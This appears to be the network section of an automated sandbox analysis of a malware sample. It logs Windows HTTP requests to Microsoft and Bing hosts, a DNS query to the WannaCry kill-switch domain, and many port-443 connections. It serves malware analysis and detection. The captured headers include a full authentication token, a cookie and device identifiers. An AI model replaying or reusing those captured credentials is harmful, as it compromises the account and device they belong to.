Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4794Host: login.live.com
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAVQdwAm1wPCi8Fx5oEKE5cDIl5xGVpkX1gYVzEv1LqzdGt%2B2REYyOhCLJItOKNrfpMBSsH8Hy/HxT9FJ98TpaLXS%2BoY9G7y8DKdse9bSyV0XWWXj2tabM4%2Bda%2BDmYvnZOO1p7WPsOHqWjAOTytSnGi13Svg/JL2OY5ClqVignE2ErEAeRg6AlMqVXx1B6JCX1xd3BnHXvgiE2ta0p%2BgB2pOOwQlEHD5voFgDJUw2f%2BZgBn3Wx4nCcNr76U/h%2B5JNFGMfouZnrTu66GBM7Um%2BvpCwMH4Qwv093aHONpJfdd4xHXHxh/y6Lxsj6nthVso55C/oRyJlt17hCRWS2GgyrjsDZgAACFxma8wDtD%2BHqAFjzAAeBLXsfbCHo2fJ39uqfDAwzLDc1uj5FpxGQnXeD4Oh7xEBbkwYz1vnigz05/77HX3DPeDifwaBEWWeXrRf/zE99s6i8a7fQtcMnzPd97eXDHeI2HhZqexwWTpWXsxVtNwQgW1EKTSbFEbEWz%2BKRRlLm08ENe6zIfafl51vsz0ci6T%2B1zcsxQbFR824xmokO0MIb77dXnh4Dll/LY1WHmqIcHu97OvsT/XExzeW5EBwtO%2BWRYO8WicjL06mSUORo0pF%2B1PJAvW8qdrhd%2BHSWm5wi94HzvmgeeXZLWTYiUW9fqXm7EYJBSF/TSobOd/QYtDhgnxf1lbp1I5NjHDVqDcjT56zDYRXM6V%2Bx2D78X2EEWNmERqj9dGrv0k0C1XznQ1yiYMRSYQ8y8SXvmC4kDbvZcyeqlfM59ek8xWfevv0t4zB/TkDK5RUFFbePf59b%2BM7mCSdUWPIGxJhE1nAMfnw0TEzeEOZKzRaaI9y2TEG4twddsJc5X7ev4pVSJInnSEVQT8GWtZdooCfCzLv5oDC%2BYJBhRCG/ilti8O4rBV2adEZTwvv1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658348601User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: AB18CF7C1D2543A8BC70B3F380354A25X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAVQdwAm1wPCi8Fx5oEKE5cDIl5xGVpkX1gYVzEv1LqzdGt%2B2REYyOhCLJItOKNrfpMBSsH8Hy/HxT9FJ98TpaLXS%2BoY9G7y8DKdse9bSyV0XWWXj2tabM4%2Bda%2BDmYvnZOO1p7WPsOHqWjAOTytSnGi13Svg/JL2OY5ClqVignE2ErEAeRg6AlMqVXx1B6JCX1xd3BnHXvgiE2ta0p%2BgB2pOOwQlEHD5voFgDJUw2f%2BZgBn3Wx4nCcNr76U/h%2B5JNFGMfouZnrTu66GBM7Um%2BvpCwMH4Qwv093aHONpJfdd4xHXHxh/y6Lxsj6nthVso55C/oRyJlt17hCRWS2GgyrjsDZgAACFxma8wDtD%2BHqAFjzAAeBLXsfbCHo2fJ39uqfDAwzLDc1uj5FpxGQnXeD4Oh7xEBbkwYz1vnigz05/77HX3DPeDifwaBEWWeXrRf/zE99s6i8a7fQtcMnzPd97eXDHeI2HhZqexwWTpWXsxVtNwQgW1EKTSbFEbEWz%2BKRRlLm08ENe6zIfafl51vsz0ci6T%2B1zcsxQbFR824xmokO0MIb77dXnh4Dll/LY1WHmqIcHu97OvsT/XExzeW5EBwtO%2BWRYO8WicjL06mSUORo0pF%2B1PJAvW8qdrhd%2BHSWm5wi94HzvmgeeXZLWTYiUW9fqXm7EYJBSF/TSobOd/QYtDhgnxf1lbp1I5NjHDVqDcjT56zDYRXM6V%2Bx2D78X2EEWNmERqj9dGrv0k0C1XznQ1yiYMRSYQ8y8SXvmC4kDbvZcyeqlfM59ek8xWfevv0t4zB/TkDK5RUFFbePf59b%2BM7mCSdUWPIGxJhE1nAMfnw0TEzeEOZKzRaaI9y2TEG4twddsJc5X7ev4pVSJInnSEVQT8GWtZdooCfCzLv5oDC%2BYJBhRCG/ilti8O4rBV2adEZTwvv1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658348601User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: AB18CF7C1D2543A8BC70B3F380354A25X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWyZtI?ver=8776 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWyRpK?ver=14fb HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWEJpJ?ver=c97d HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWEtez?ver=148f HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com

Source: unknown

Network traffic detected: IP country count 20

Source: unknown

DNS traffic detected: query: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com replaycode: Server failure (2)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51148
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51149
Source: unknown	Network traffic detected: HTTP traffic on port 50858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52236
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52120
Source: unknown	Network traffic detected: HTTP traffic on port 52123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52123
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50982
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51036
Source: unknown	Network traffic detected: HTTP traffic on port 51153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50991
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50994
Source: unknown	Network traffic detected: HTTP traffic on port 52174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51170
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50769
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52027
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51060
Source: unknown	Network traffic detected: HTTP traffic on port 52279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51182
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51229
Source: unknown	Network traffic detected: HTTP traffic on port 50957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51101
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52436
Source: unknown	Network traffic detected: HTTP traffic on port 50892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 64965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 52027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50383
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 51022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50390
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 52225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 51033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51492
Source: unknown	Network traffic detected: HTTP traffic on port 51088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50601
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50602
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 51193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51498
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52230
Source: unknown	Network traffic detected: HTTP traffic on port 57179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 51182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 51148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51306
Source: unknown	Network traffic detected: HTTP traffic on port 50850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52080
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 54153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55914
Source: unknown	Network traffic detected: HTTP traffic on port 51099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54153
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50479
Source: unknown	Network traffic detected: HTTP traffic on port 50827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50599
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50919
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50367
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50250
Source: unknown	Network traffic detected: HTTP traffic on port 61337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52277
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52279
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51074
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51193
Source: unknown	Network traffic detected: HTTP traffic on port 64847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52167
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52174
Source: unknown	Network traffic detected: HTTP traffic on port 51498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52172
Source: unknown	Network traffic detected: HTTP traffic on port 52277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52177
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52167 -> 443
